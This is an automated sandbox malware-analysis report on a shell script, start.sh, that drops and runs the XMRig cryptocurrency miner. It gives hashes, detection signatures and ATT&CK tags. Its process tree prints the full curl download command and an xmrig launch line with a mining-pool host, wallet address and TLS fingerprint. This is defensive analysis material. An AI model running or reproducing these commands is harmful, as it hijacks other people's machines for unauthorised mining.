xmrig_linux | 3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415

Analysis

max time kernel
25s
max time network
25s
platform
debian-9_armhf
resource
debian9-armhf-20240226-en
resource tags

arch:armhfimage:debian9-armhf-20240226-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20-03-2024 21:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

start.sh
Size

587B
MD5

60908850cbaa3ea10f537854675c5017
SHA1

ff4713b46e81dbe16a83efd12b0c274ee8f84893
SHA256

3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415
SHA512

eec5e1b0c381b01b1866925dd5f593ed658215ca88cf9d3eee711e96d6617434896cf12b297e81fbc2e42eb01a474ff92473ac43ad639f23a515a5958084c407

Score

10^/10

xmrig_linux antivm miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral3/files/fstream-3.dat	family_xmrig
behavioral3/files/fstream-3.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xmrig-6.21.1/xmrig	758	xmrig

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 3 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	tar

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig-6.21.1/SHA256SUMS	tar
File opened for modification	/tmp/xmrig-6.21.1-linux-static-x64.tar.gz	curl
File opened for modification	/tmp/xmrig-6.21.1/config.json	tar
File opened for modification	/tmp/xmrig-6.21.1/xmrig	tar

/tmp/start.sh
/tmp/start.sh
1⤵
PID:647
- /usr/bin/curl
  curl -L https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz -o xmrig-6.21.1-linux-static-x64.tar.gz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:653
- /bin/tar
  tar -xvf xmrig-6.21.1-linux-static-x64.tar.gz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:757
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:757
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:757
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:757
- - /sbin/gzip
    gzip -d
    3⤵
    PID:757
- - /bin/gzip
    gzip -d
    3⤵
    PID:757
- /tmp/xmrig-6.21.1/xmrig
  ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  PID:758

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/xmrig-6.21.1-linux-static-x64.tar.gz

Filesize
204KB

MD5
9100d064e460a779531e0c1a3ee09d1c

SHA1
8ed55d57f4ea640fa7957590a9921c1f4eebc5b9

SHA256
052aa5a618c7116f5f9f605001599e505643021e2aff36438fc4d2ed32905e45

SHA512
5a7b031bdd7276b67c0371a1421827b7b9ddd5f4b7c0b59e0581c2c247eac9069a199e7a39147312d67c081fc4c5e716d98bc3e71113c2ca1171c6ae03a0c187

Download Submit
/tmp/xmrig-6.21.1/SHA256SUMS

Filesize
150B

MD5
aa5b108a656f868047990ffe924da82b

SHA1
118a8199507eb3eb40c03520b5b3b774e86cb40b

SHA256
0cd87c42d76e181e459e855fa1be19a8ba0add9378aa25cfa70c815c9b0967dd

SHA512
9fc3807efbb407163322bfcdd4415c114013bd2a8f89daca715b2cca2514e9d6f404d42bfd76c141784c64f4594e6bbf4c6551a58691eb961bc6740e15d1800d

Download Submit
/tmp/xmrig-6.21.1/config.json

Filesize
2KB

MD5
66f38c96a4901e7b345787c447842b3e

SHA1
2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

SHA256
2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

SHA512
71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

Download Submit
/tmp/xmrig-6.21.1/xmrig

Filesize
1.9MB

MD5
9e856353eec5d4f96f905bc594c587c8

SHA1
0ebb20d961c0df320a6390d91bcdaa142aaa7ef3

SHA256
cbed9f88cb0c48e7563b0b403ae3585dd8c174e988410a4329a3e112c010f49b

SHA512
01cecda092c62483c0cbd00573d0052416d4bbf6e366a1148a67d17a1875b6d8a9ebb8821ed8e90723ae8e606d88bedb47e5788ca255527fc824deb0e323b1b0

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads